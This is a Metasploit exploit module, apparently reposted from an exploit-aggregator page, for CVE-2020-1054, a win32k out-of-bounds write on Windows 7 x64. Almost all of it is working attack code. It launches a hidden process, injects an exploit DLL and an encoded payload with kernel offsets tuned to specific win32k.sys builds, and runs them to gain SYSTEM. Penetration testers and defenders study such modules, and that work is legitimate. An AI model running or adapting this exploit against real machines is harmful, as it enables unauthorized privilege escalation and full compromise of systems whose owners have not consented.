Share
## https://sploitus.com/exploit?id=PACKETSTORM:160515
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/priv'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation',  
'Description' => %q{  
This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx  
within win32k. The out of bounds write can be used to overwrite the pvbits of a  
SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel  
memory, an attacker can gain arbitrary code execution as the SYSTEM user.  
  
This module has been tested against a fully updated Windows 7 x64 SP1. Offsets  
within the exploit code may need to be adjusted to work with other versions of  
Windows.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Netanel Ben-Simon',  
'Yoav Alon',  
'bee13oy',  
'timwr', # msf module  
],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows 7 x64', { 'Arch' => ARCH_X64 }]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 30  
},  
'Notes' =>  
{  
'Stability' => [ CRASH_OS_RESTARTS ],  
'Reliability' => [ UNRELIABLE_SESSION ]  
},  
'References' =>  
[  
['CVE', '2020-1054'],  
['URL', 'https://cpr-zero.checkpoint.com/vulns/cprid-2153/'],  
['URL', 'https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html'],  
['URL', 'https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp'],  
['URL', 'https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp'],  
['URL', 'https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp']  
],  
'DisclosureDate' => '2020-02-20'  
)  
)  
register_options([  
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])  
])  
end  
  
def setup_process  
process_name = datastore['PROCESS']  
begin  
print_status("Launching #{process_name} to host the exploit...")  
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)  
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return CheckCode::Safe  
end  
  
file_path = expand_path('%WINDIR%\\system32\\win32k.sys')  
major, minor, build, revision, branch = file_version(file_path)  
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")  
  
build_num_gemversion = Gem::Version.new("#{major}.#{minor}.#{build}.#{revision}")  
if (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24542')) #Windows 7 SP1  
@xleft_offset = 0x900  
@oob_offset = 0x238  
return CheckCode::Appears  
elsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24553')) #Windows 7 SP1 with patches  
@xleft_offset = 0x8c0  
@oob_offset = 0x240  
return CheckCode::Appears  
else  
return CheckCode::NotSupported  
end  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] != ARCH_X64  
fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')  
end  
  
process = setup_process  
library_data = exploit_data('CVE-2020-1054', 'exploit.dll')  
print_status("Injecting exploit into #{process.pid} ...")  
exploit_mem, offset = inject_dll_data_into_process(process, library_data)  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
encoded_payload = payload.encoded  
  
payload_mem = inject_into_process(process, [@xleft_offset, @oob_offset, encoded_payload.length].pack('LLL') + encoded_payload)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
end  
end